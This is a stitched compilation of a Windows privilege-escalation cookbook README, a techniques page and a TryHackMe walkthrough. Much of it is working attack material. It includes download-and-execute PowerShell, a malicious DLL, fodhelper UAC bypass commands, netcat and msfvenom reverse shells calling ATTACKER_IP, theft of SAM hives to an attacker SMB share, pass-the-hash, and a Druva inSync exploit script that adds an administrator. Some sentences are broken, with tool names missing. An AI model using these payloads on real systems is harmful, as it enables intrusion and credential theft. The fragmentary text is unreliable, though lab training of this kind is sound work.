Local privilege escalation windows

Windows Local Privilege Escalation Cookbook

Table of Contents

  • Windows Local Privilege Escalation Cookbook
    • Table of Contents
    • Disclaimer
    • Description (Keynote)
    • Definition
    • Useful Tools
    • Vulnerabilities
    • References

Disclaimer

This repository, «Windows Local Privilege Escalation Cookbook» is intended for educational purposes only. The author bears no responsibility for any illegal use of the information provided herein. Users are urged to use this knowledge ethically and lawfully. By accessing this repository, you agree to use its contents responsibly and in accordance with all applicable laws.

Description (Keynote)

This Cookbook was created with the main purpose of helping people understand local privilege escalation techniques on Windows environments. Moreover, it can be used for both attacking and defensive purposes.

ℹ️ This Cookbook focuses only on misconfiguration vulnerabilities on Windows workstations/servers/machines.

⚠️ Evasion techniques to bypass security protections, endpoints, or antivirus are not included in this cookbook. I created this PowerShell script, TurnOffAV.ps1, which permanently disables Windows Defender. Run this with local Administrator privileges.

The main structure of this Cookbook includes the following sections for any vulnerability:

  • Description
  • Lab Setup
  • Enumeration
  • Exploitation
  • Mitigation
  • (Useful) References

I hope to find this CookBook useful and learn new stuff 😉.

If you find any bugs, don’t hesitate to report them. Your feedback is valuable in improving the quality of this project!

Definition

Local Privilege Escalation, also known as LPE, refers to the process of elevating user privileges on a computing system or network beyond what is intended, granting unauthorized access to resources or capabilities typically restricted to higher privilege levels. This process occurs when attackers exploit weaknesses, vulnerabilities, or misconfigurations within the operating system, applications, or device drivers. By exploiting these flaws, attackers can bypass security controls and escalate their privileges, potentially gaining control over the system and accessing sensitive data.

Useful Tools

In the following table, some popular and useful tools for Windows local privilege escalation are presented:

Name Language Author Description
SharpUp C# @harmj0y SharpUp is a C# port of various PowerUp functionality
PowerUp PowerShell @harmj0y PowerUp aims to be a clearinghouse of common Windows privilege escalation
BeRoot Python AlessandroZ BeRoot(s) is a post exploitation tool to check common Windows misconfigurations to find a way to escalate our privilege
Privesc PowerShell enjoiz Windows PowerShell script that finds misconfiguration issues which can lead to privilege escalation
Winpeas C# @hacktricks_live Windows local Privilege Escalation Awesome Script
PrivescCheck PowerShell @itm4n Privilege Escalation Enumeration Script for Windows
PrivKit C (Applicable for Cobalt Strike) @merterpreter PrivKit is a simple beacon object file that detects privilege escalation vulnerabilities caused by misconfigurations on Windows OS

Vulnerabilities

This Cookbook presents the following Windows vulnerabilities:

  • AlwaysInstallElevated
  • Answer files (Unattend files)
  • Logon Autostart Execution (Registry Run Keys)
  • Logon Autostart Execution (Startup Folder)
  • Leaked Credentials (GitHub Repository)
  • Leaked Credentials (Hardcoded Credentials)
  • Leaked Credentials (PowerShell History)
  • SeBackupPrivilege
  • SeImpersonatePrivilege
  • Stored Credentials (Runas)
  • UAC Bypass
  • Unquoted Service Path
  • Weak Service Binary Permissions
  • Weak Service Permissions
  • Weak Registry Permissions

References

  • Privilege Escalation Wikipedia
  • SharpCollection GitHub by Flangvik
  • Metasploit Official Website
  • CrackMapExec GitHub by byt3bl33d3r
  • NetExec GitHub by Pennyw0rth
  • Evil-WinRM GitHub by Hackplayers
  • Windows Privilege Escalation Youtube Playlist by Conda
  • Windows Privilege Escalation by Bordergate
  • Seatbelt GitHub by GhostPack
  • Sysinternals Suite Microsoft
  • Impacket GitHub by Forta
  • dnSpy GitHub by dnSpyEx
  • Java Decompiler Official Website
  • CS-Situational-Awareness-BOF GitHub by TrustedSec
  • HavocFramework GitHub by C5pider
  • LPE Cookbook AutomatedLab Build Template

Local Privilege Escalation

Escalate privileges on a local computer to become a more powerful user

Last updated

After the Local Enumeration phase, you might have found some interesting things. This section explains how you exploit some findings to reach the Administrator on the current (local) computer.

Once this is successful, you should have enough permissions to do anything on the machine. The main goal is often using Post-Exploitation: Mimikatz to read cached credentials from a memory dump of the LSASS.exe process.

Many times the enumeration efforts result in some new credentials being found. See for tools that can spray credentials over systems quickly, to find which computer or user they belong to.

You can also start a local process as another user from CMD/PowerShell using the runas command. This will start a new window as that user after filling in the correct password:

runas /user:j0r1an powershell  # local
runas /user:corp\j0r1an powershell  # domain

The above only works in an RDP setting where you interactively type the password. For shells instead, you can use PowerShell to create a new process with your credentials:

$pass = ConvertTo-SecureString '$PASSWORD' -AsPlainText -Force
# 1. Local account
$c = New-Object System.Management.Automation.PSCredential("$USERNAME", $pass)
# 2. Domain account
$c = New-Object System.Management.Automation.PSCredential("$DOMAIN\$USERNAME", $pass)

Start-Process -Credential ($c) -NoNewWindow powershell "iex (New-Object Net.WebClient).DownloadString('http://$IP:8000/shell.ps1')"  # Run your payload here

Windows uses ‘privileges’ to determine what you can and can’t do. There are some uninteresting default privileges, but also some that give a lot of power. Check them with the whoami command:

PS C:\> whoami /priv

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
Se​Chan​geNoti​fyPr​ivil​ege       Bypass traverse checking             Enabled
S​eUnd​ockP​rivil​ege             Remove computer from docking station Disabled
Se​Inc​rease​Wor​ki​ngSe​tPr​ivile​ge Increase a process working set       Disabled

From these the SeShutdownPrivilege is a little interesting, as it allows you to reboot the machine. Some exploits only trigger at the startup of a service for example, and a reboot can trigger this at will.

Local administrators will have all the permissions that exist, so they can do anything on the computer. Sometimes a middle ground is chosen to give low-privilege users some extra privilege, but this can backfire if they are powerful ones that can be abused.

This privilege allows you to impersonate other users like nt authority\system. This user can do anything, like dumping LSASS memory with Mimikatz. Exploits exist that abuse this to get a shell:

PS C:\> .\PrintSpoofer64.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
whoami
nt authority\system
.\GodPotato-NET4.exe -cmd ".\shell.exe"
.\SharpEfsPotato.exe -p C:\Windows\Tasks\shell.exe

PS C:\> whoami /priv  # Some privileges are disabled

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

PS C:\> IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/fashionproof/EnableAllTokenPrivs/master/EnableAllTokenPrivs.ps1');

PS C:\> whoami /priv  # Now everything is enabled

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled

Using whoami /groups you can find if your user is in the BUILTIN\Administrators group, and if they are, you should be able to reach the Mandatory Label\High, which might be at Mandatory Label\Medium right now.

PS C:\> whoami /groups

GROUP INFORMATION
-----------------

Group Name                             Type             SID                                            Attributes
====================================== ================ ============================================== ==================================================
Everyone                               Well-known group S-1-1-0                                        Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators                 Alias            S-1-5-32-544                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users           Alias            S-1-5-32-555                                   Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545                                   Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                     Well-known group S-1-5-3                                        Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                          Well-known group S-1-2-1                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113                                      Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10                                    Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192

An Administrator should be able to start a Mandatory Label\High process, but this usually involves a user pressing «Yes» on a GUI prompt, this is the User Account Control (UAC) at work.

C:\> sigcheck -m c:/windows/system32/msconfig.exe
...
<asmv3:application>
	<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
		<dpiAware>true</dpiAware>
		<autoElevate>true</autoElevate>
	</asmv3:windowsSettings>
</asmv3:application>

Many different built-in programs have this property set, but not all are secure. Microsoft seems to not classify UAC bypasses as an issue, so this repository collects dozens of working methods:

When building is done, you should find the compiled binary in «Source\Akagi\output\x64\Release\Akagi64.exe».

This can now be executed on the target by choosing a technique, and a program to start in a new window with the elevated privileges:

.\Akagi64.exe 61 powershell.exe
PS C:\> whoami /groups
...
Mandatory Label\High Mandatory Level   Label            S-1-16-12288

Manual fodhelper.exe Payload

$key = "HKCU\Software\Classes\ms-settings\Shell\Open\command"
cmd /c "reg add $key /v `"DelegateExecute`" /d `"`" /f"
cmd /c "reg add $key /d `"C:\Windows\Tasks\payload.exe`" /f"

fodhelper.exe
sleep 1
reg delete $key /f

Programs in Windows have assembled code that they execute, but also often load libraries and call their code to prevent having every program include some basic functionality. Which libraries to load can be completely decided by the program, and they can even make their own custom libraries (DLLs). When the program is started, directories are searched for the library names in the following order:

  1. Directory containing the .exe that started

  2. Current working directory

  3. Any directories in the system $env:path environment variable

  4. Any directories in the user $env:path environment variable

While 2-5 are often pretty locked, the 6 and 7 variables might contain some interesting directories that you may write in. Check their paths in PowerShell like so:

PS C:\> [Environment]::GetEnvironmentVariable("Path", "User")
C:\Users\$USERNAME\AppData\Local\Microsoft\WindowsApps;
PS C:\> [Environment]::GetEnvironmentVariable("Path", "Machine")
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\

Perhaps the most interesting of all of these is 1, the directory containing the executable. If we as the attacker can write in this directory, and the executable is run in a higher-privileged context, we can overwrite an existing DLL to run whatever we want. Check permissions using icacls or just try writing there with a simple echo a > a.

When having confirmed that a writable searched directory exists, we need to find what DLLs are loaded by the executable. A very unscientific way of doing this is simply searching for .dll names in the program binary after transferring it over to your Linux machine:

$ grep -Eao '\w+\.dll' Program.exe | sort -u
0.dll
MyLibrary.dll
VCRUNTIME140.dll
advapi32.dll
dbghelp.dll
kernel32.dll

Now that we have found a potential place and name for a DLL that we can overwrite, we have to create a malicious DLL that runs what we want, like a reverse shell also stored on the system. We just need to define the special DllMain() function and handle the different cases:

#include <stdlib.h>
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
    HANDLE hModule,           // Handle to DLL module
    DWORD ul_reason_for_call, // Reason for calling function
    LPVOID lpReserved)        // Reserved
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        system("C:\\Windows\\Tasks\\shell.exe");
        break;
    case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
    case DLL_THREAD_DETACH: // A thread exits normally.
        break;
    case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Then we can compile this code locally from a Linux machine by using the mingw compiler, to create a .dll shared library. This can be moved over to the vulnerable location on the target.

x86_64-w64-mingw32-gcc MyLibrary.cpp --shared -o MyLibrary.dll

Post-Exploitation: Mimikatz

Some commands require privilege::debug or even token::elevate to be run before, to activate the required privileges. Make sure to try these first when you encounter errors.

The sekurlsa::logonpasswords, lsadump::lsa and lsadump::sam commands go hand-in-hand, finding different plaintext credentials, NTLM hashes, or Kerberos tickets from logged-on users in memory for the first, and by asking the LSA server for the latter. These are incredibly useful for starting Lateral Movement.
sekurlsa::tickets is another such tool that finds active Kerberos tickets to export and import.

There are some tools that run the techniques Mimikatz uses from a remote perspective, which may be quicker to use. Here are a few of them:

python3 secretsdump.py $DOMAIN/$USERNAME:$PASSWORD@$IP
lsassy -u Administrator -H 2ffb2676507e81cb73211213ed643202 -d hackn.lab 10.10.10.0/30 --users

It’s possible that this exploit above does not work, but some alternatives might work in these scenarios. First, there is which you can download pre-compiled from the Releases, and execute:

Lastly, there is also which needs to be compiled by hand using :

In rare cases, privileges might be Disabled which doesn’t let you abuse them. Luckily for the attacker, this is only a setting that you can easily Enable for any privilege. The script can be used to enable all these privileges:

This feature is however bypassable without a GUI using AutoElevate programs. To check if a binary has the AutoElevate property, we can use :

To build the tool, open the Source folder in . This should open the «Akagi» project which you can build in Release mode for x64 architecture:

Any of these will probably work, but MyLibrary.dll seems custom and most likely, so we’ll focus on that. To find out what libraries are actually loaded we can dynamically analyze it by running it locally and attaching , then looking for CreateFile events with .dll extensions:

When having taken over a computer to full Administrator privileges, and the High Integrity Level, tools like can use these privileges to do a lot of nasty stuff. The tool is a big collection of commands that should be run on the target itself as an executable. Its most common use case is extracting in-memory credentials from the computer to use in further attacks, like cracking or passing them.

The command stands for «Pass The Hash», allowing you to spawn a process as another user only knowing their NTLM hash.

Remotely dump all kinds of secrets on the target computer, from NTLM hashes to SAM and LSA. While this finds and dumps a lot, it won’t find everything (read more in ).

Comprehensive list of abusable privileges to perform local privilege escalation
Collection of UAC bypass techniques abusing builtin Windows programs
Blog post explaining the creation of this tool to remotely dump LSASS credentials
Tool to extract all kinds of credentials from popular software like browsers and databases
Logo

Logo

Select Release and x64 in the dropdowns, and then Build -> Build Solution

It is time to look at the Windows Privilege Escalation Room on TryHackMe, a medium level room in which we learn how to escalate our privileges on Windows machine. I don’t know about you but I am looking forward to this one. I have historically been stronger on looking at Linux machine, so there is a bunch to learn.

Windows Privilege Escalation

Box URL: https://tryhackme.com/r/room/windowsprivesc20

I am making these walkthroughs to keep myself motivated to learn cyber security, and ensure that I remember the knowledge gained by these challenges on HTB and THM. Join me on learning cyber security. I will try and explain concepts as I go, to differentiate myself from other walkthroughs.


Table of Contents


Task 1: Introduction

During a penetration test, you will often have access to some Windows hosts with an unprivileged user. Unprivileged users will hold limited access, including their files and folders only, and have no means to perform administrative tasks on the host, preventing you from having complete control over your target.

This room covers fundamental techniques that attackers can use to elevate privileges in a Windows environment, allowing you to use any initial unprivileged foothold on a host to escalate to an administrator account, where possible.

If you want to brush up on your skills first, you can have a look through the Windows Fundamentals Module or the Hacking Windows Module.

Questions

Click and continue learning!

Answer: No answer needed


Privilege escalation involves leveraging existing access to a system to gain higher privileges, often aiming for administrative control. This can be done by exploiting weaknesses such as misconfigurations, excessive privileges, vulnerable software, or missing security patches.

Windows users are categorized as:

  • Administrators: Have full system control.
  • Standard Users: Have limited access and cannot make major changes.

Additionally, special built-in accounts exist:

  • SYSTEM: Higher privileges than administrators.
  • Local Service: Runs services with minimal privileges.
  • Network Service: Runs services using network authentication.

Exploiting these accounts can sometimes grant elevated access.

Questions

Users that can change system configurations are part of which group?

Answer: Administrators

The SYSTEM account has more privileges than the Administrator user (aye/nay)

The system account has full access to all files and resources available on the host with even higher privileges than administrators.

Answer: aye


Task 3: Harvesting Passwords from Usual Spots

The easiest way to escalate privileges is by gathering stored credentials from a compromised Windows machine. Common locations include:

1. Unattended Windows Installations

Administrators often leave credentials in configuration files used for automated installations:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\system32\sysprep.inf

2. PowerShell History

PowerShell logs executed commands, including those containing passwords. Retrieve them via:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

3. Saved Windows Credentials

Windows allows users to store credentials, which can be listed with:

Use stored credentials with:

runas /savecred /user:admin cmd.exe

4. IIS Configuration Files

Web server configurations may contain stored passwords in web.config:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
    Search for database credentials:
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

5. PuTTY Stored Credentials

PuTTY stores proxy credentials in the registry. Retrieve them with:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Other software (browsers, FTP clients, email clients, etc.) may also store credentials that can be recovered.

Questions

A password for the julia.jones user has been left on the Powershell history. What is the password?

To read the Powershell history we enter the following command:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Reading Powershell history

There on line 6 we find her password.

Answer: ZuperCkretPa5z

A web server is running on the remote host. Find any interesting password on web.config files associated with IIS. What is the password of the db_admin user?

According to the task, there are two possible locations where we can find these web.config files:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

The first one does not exist on the system, but if we run the command with the second location we find a connectionString:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Reading a web.config file

To be exact, we find this, including the password:

<add connectionString=”Server=thm-db.local;Database=thm-sekure;User ID=db_admin;Password=098n0x35skjD3" name=”THM-DB” />

Answer: 098n0x35skjD3

There is a saved password on your Windows credentials. Using cmdkey and runas, spawn a shell for mike.katz and retrieve the flag from his desktop.

The instructions tell use exactly what to do. Start with cmdkey to see for which users we have saved credentials:

Finding saved credentials

Sure enough, we have a saved credential for mike.

Now run the following command to run cmd with his credentials:

runas /savecred /user:mike.katz cmd.exe
Running cmd.exe with saved credentials

There we go. Now find the flag on mike.katz’s Desktop:

Found the flag

Answer: THM{WHAT_IS_MY_PASSWORD}

Retrieve the saved password stored in the saved PuTTY session under your profile. What is the password for the thom.smith user?

This one is also literally described in the task. Run the following command to search under the following registry key for ProxyPassword:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Retrieving the password in the saved PuTTY session

Cool pass, indeed!

Answer: CoolPass2021


Task 4: Other Quick Wins

This task is all about abusing Task Scheduler tasks that have been configured to run an executable file that we can change to run a netcat reverse shell.

Privilege escalation can be facilitated through misconfigurations, such as those found in scheduled tasks or Windows installer files. These techniques are often more relevant in Capture The Flag (CTF) events than real penetration testing engagements.

Scheduled Tasks:

  1. Misconfigured Task: A scheduled task may run a binary you can modify. You can list tasks with schtasks /query and check the file permissions using icacls.
  2. Privilege Escalation: If a scheduled task’s executable is accessible, modify it to execute a reverse shell. For example, replace the task’s binary with a command to spawn a reverse shell using nc64.exe.
  3. Triggering the Task: Once the task is modified, use schtasks /run to manually execute it and get a reverse shell with the user privileges of the scheduled task.

AlwaysInstallElevated:

  1. Windows Installer: MSI files can be set to run with elevated privileges if registry keys are configured. This allows unprivileged users to run an MSI that executes with administrator rights.
  2. Registry Check: Use reg query to check if the necessary registry keys are set. If they are, generate a malicious MSI file using msfvenom and execute it with msiexec to get a reverse shell.

Both methods demonstrate how improper configurations can lead to privilege escalation by exploiting the ability to modify files or settings that execute with higher privileges.

Questions

What is the taskusr1 flag?

Let’s start by getting info on the scheduled task called “vulntask”.

schtasks /query /tn vulntask /fo list /v
Finding info on the vulntask task

As discussed in the task description, we can edit the file if have the correct permissions. To check these we run the following command:

icacls c:\tasks\schtask.bat
We have the correct permissions

Now all we need to do is echo the nc64 command to the schtask.bat file to overwrite its content. Remember to change the ip.

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

And setup a listener on your attacker machine:

Finally, run the scheduled task with:

schtasks /run /tn vulntask
Running the scheduled task

And yes, we got a connection:

We got a connection

And find the flag:

Another flag in the house

Answer: THM{TASK_COMPLETED}


Task 5: Abusing Service Misconfigurations

This part covers three different service misconfigurations, and each vulnerability has a question related to it.

Windows services are managed by the Service Control Manager (SCM), which controls service states and configurations. Each service has an associated executable and a user account it runs under. Services are configured in the Windows registry, and their executable path and associated account are specified there. Permissions for services are controlled via a Discretionary Access Control List (DACL), determining who can start, stop, or configure the service.

Insecure Permissions on Service Executables: If a service’s executable has weak permissions, attackers can replace it with malicious payloads, gaining privileges of the service’s account. An example using Splinterware System Scheduler showed how to exploit a service by overwriting its executable, causing the service to run malicious code.

Unquoted Service Paths: A vulnerability occurs when the service executable path is unquoted, allowing an attacker to insert their own executable before the intended one. If a service path has spaces but isn’t quoted, the SCM may misinterpret the command, potentially running an attacker’s executable instead. This can be exploited when services are installed in writable directories, allowing an attacker to place malicious executables in those locations.

Exploitation: In both scenarios, attackers create and place malicious executables on the target system, manipulate service configurations or permissions, and gain elevated access through service misconfigurations.

Questions

Get the flag on svcusr1’s desktop.

Once again, we can follow the steps from the covered theory:

Printing info on the scheduled task

The binary path is mentioned. Now we check the permissions:

icacls C:\PROGRA~2\SYSTEM~1\WService.exe
Checking our permissions again

The Everyone group has modify permissions (M) on the service’s executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.

Now we need to fulfil the following tasks:

  1. Create a reverse shell payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

2. Setup a Python web server:


First two steps

3. Get the binary from the attacker machine into the target

wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

4. On the target machine, rename the original binary, move the payload to its location and give the right permissions (making sure you are using Powershell):

cd C:\PROGRA~2\SYSTEM~1\
C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F
Replacing the WService.exe binary

5. On your attacker machine, setup a reverse listener:

6. On the target machine, startup the task:

sc stop windowsscheduler
sc start windowsscheduler

7. Startup a listener and receiving a shell:

Receiving a shell

And there we can the flag:

Finding another flag

Answer: THM{AT_YOUR_SERVICE}

Get the flag on svcusr2’s desktop.

Now it is time to abuse Unquoted Service Paths. The process is quite similar. We place a binary in a place that gets called due to a Task Scheduler task not correctly specifying its BINARY_PATH:NAME (not using double quotes), causing our payload to be called instead. Again , we need to build a payload with msfvenom, download it from our attacker machine, setup a listener, and start the scheduled task.

The problem is with the following task:

sc qc "disk sorter enterprise"
Printing scheduled task info, again

If we check the permissions on the binary file location we can see that we have writing privileges:

Reading our permissions, again again

There we can do as follows on our machine:

# Create payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

And:

# Setup a server
python3 -m http.server

Then we download the file on our target machine:

wget http://ATTACKER_IP:8000/rev-svc2.exe -O rev-svc2.exe

Setup a listener on our attacker machine:

# Setup listener
nc -lvp 4446

Move the file and give it permissions:

move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe
icacls C:\MyPrograms\Disk.exe /grant Everyone:F
Moving the file and giving permissions

And start and stop the task:

sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"
Restarting the task

And we got a reverse shell:

Receiving a reverse shell again

As before, find the flag on svcusr2’s desktop located at C:\Users\svcusr2\Desktop.

Reading another flag

Answer: THM{QUOTES_EVERYWHERE}

Get the flag on the Administrator’s desktop.

You know the drill by now. It is very similar to the last two questions:

  1. Create a payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

2. Start a server:


3. Start a listener:

4. Download the file from Powershell:

wget http://10.10.121.104:8000/rev-svc3.exe -o rev-svc3.exe

5. Give it permissions:

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

6. In your cmd configure the binPath:

sc config THMService binPath= “C:\Users\thm-unpriv\rev-svc3.exe” obj= LocalSystem

7. Stop, and start the service:

sc stop THMService
sc start THMService

You should have received a reverse shell:

Receiving a shell

Now find the flag on the administrator’s desktop:

Reading the flag

Answer: THM{INSECURE_SVC_CONFIG}


Task 6: Abusing dangerous privileges

  1. Privileges Overview:

    • Privileges grant rights to perform system tasks like shutting down the system or bypassing access controls. Key privileges are of interest to attackers for escalating privileges.
    • The whoami /priv command shows the privileges of the current user.
  2. SeBackup / SeRestore Privileges:

    • Description: These privileges allow bypassing DACLs to read/write any file, useful for backup operations.
    • Exploitation: Attackers can use these privileges to copy registry hives (SAM and SYSTEM) and extract password hashes. Tools like Impacket’s secretsdump can be used to retrieve the hashes and then perform Pass-the-Hash attacks to gain SYSTEM access.
  3. SeTakeOwnership Privilege:

    • Description: Allows users to take ownership of any file or object on the system.
    • Exploitation: An attacker can use this privilege to replace system executables (like utilman.exe), giving themselves SYSTEM-level access. The process includes taking ownership of the file, granting full permissions, and replacing the executable with a payload.
  4. SeImpersonate / SeAssignPrimaryToken Privileges:

    • Description: These privileges allow a process to impersonate another user, enabling it to act on their behalf.
    • Exploitation: Attackers can exploit these privileges by compromising services like IIS, which use accounts with impersonation privileges (e.g., LOCAL SERVICE, NETWORK SERVICE). Using tools like RogueWinRM, an attacker can spawn a process that impersonates a privileged user (e.g., SYSTEM) and execute commands remotely via a malicious connection.

These privileges represent common opportunities for attackers to escalate their privileges and gain more control over a compromised system.

Questions

Get the flag on the Administrator’s desktop.

In this task, we can decide between three different methods: SeBackup / SeRestore, SeTakeOwnership, SeImpersonate / SeAssignPrimaryToken. I will pick the Backup route as it seems to involve of a few techniques I find great to learn.

RDP into the target machine, for example by using Remmina on your AttackBox. When logged in you can go ahead and run a command prompt as administrator.

You should now be able to see your privileges with the command:

Checking our privileges

Bypass traverse checking allows to backup SAM and SYSTEM hashes with the following commands:

reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive

Make sure the backups are in the directory:

Checking if the backup hive files are saved

Now we need to get it over to your AttackBox. We can do by using SMB. We can use impacket’s smbserver.py to start a simple SMB server with a network share in the current directory of our AttackBox.

Run the following commands:

mkdir share
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

Tip: I had problems with impacket warning me that the address already was in use. In this case run the following commands and try again:

sudo lsof -i :445
# If this command shows a process using port 445 (the default SMB port), note its PID.
sudo kill -9 <PID>

Now run the following commands to copy the backups to your attacker machine.

copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

We can now use impacket to retrieve the users’ password hashes:

cd share
python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Dumping password hashes with impacket

Finally, we can do a Pass-the-Hash attack by passing the Administrator hash in the following command (please use the correct hash if it does not fit your results):

python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.1.125
Using a Pass-the-hash attack

Now we only need to find the flag on the Administrator’s Desktop:

There we go!

Another flag..

Answer: THM{SEFLAGPRIVILEGE}


Task 7: Abusing vulnerable software

Unpatched Software and Privilege Escalation

  • Software installed on a target system can present opportunities for privilege escalation, especially if it is outdated. Users often neglect updates for software, making it a potential target.
  • You can use the wmiccommand to list installed software and versions (wmic product get name,version,vendor), although not all programs may show up. It’s important to check other traces of software, like shortcuts or services.
  • Once you gather the software’s version, online resources (e.g., exploit-db, Google) can be used to find known vulnerabilities for any installed products.

Case Study: Druva inSync 6.6.3

  • Vulnerability: The target system runs Druva inSync 6.6.3, which has a privilege escalation vulnerability related to an RPC server running on port 6064 with SYSTEM privileges, only accessible from localhost. The vulnerability stems from a flawed patch after an earlier issue with version 6.5.0.
  • Cause: Procedure 5 in the RPC service allows arbitrary command execution. While a patch was issued to restrict commands to a specific path (C:\ProgramData\Druva\inSync4\), a path traversal attack could bypass this restriction, allowing execution of arbitrary commands (e.g., C:\Windows\System32\cmd.exe).

Exploit:

  • The exploit involves sending packets to the RPC service to execute a command. A PowerShell script is provided that connects to the vulnerable service and sends a crafted request to execute commands with SYSTEM privileges.
  • The default payload adds a user (pwnd) without administrative rights, but the script can be modified to elevate the user to an administrator by running the following commands: net user pwnd SimplePass123 /add net localgroup administrators pwnd /add
  • After executing the exploit, the new user can run commands with administrative privileges and retrieve the flag from the Administrator’s desktop.

The final practical task to complete in this room, and it’s a short one. Let’s go. We are in the endgame now.

Questions

Get the flag on the Administrator’s desktop.

The theory mentions the following exploit:

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

All we need to do is run this exploit on the target machine in a Powershell console.

The exploit will create user pwnd with a password of SimplePass123 and add it to the administrators’ group. If the exploit was successful, we should be able to run the following command to verify that the user exists and is part of the administrators’ group:

Using the net command to check our permissions

This is the case. Now we can run a command prompt as administrator. When prompted for credentials, use the pwnd account.

Opening CMD with pwnd user initials

From the new command prompt, you can retrieve your flag from the Administrator’s desktop with the following command:

type C:\Users\Administrator\Desktop\flag.txt
Reading the final flag, I promise

There we have it 🙂

Answer: THM{EZ_DLL_PROXY_4ME}


System Enumeration Tools for Privilege Escalation

  • Automated Tools: Several scripts are available to streamline the system enumeration process and identify potential privilege escalation vectors. However, these tools may miss some escalation paths, so manual checks are still important.

Common Tools for Privilege Escalation:

  1. WinPEAS

    • Purpose: A script designed to enumerate the target system and uncover privilege escalation opportunities.
    • How it works: Runs commands similar to those discussed in previous tasks and displays their output.
    • Usage: It’s recommended to redirect the output to a file for easier review, as it can be extensive.
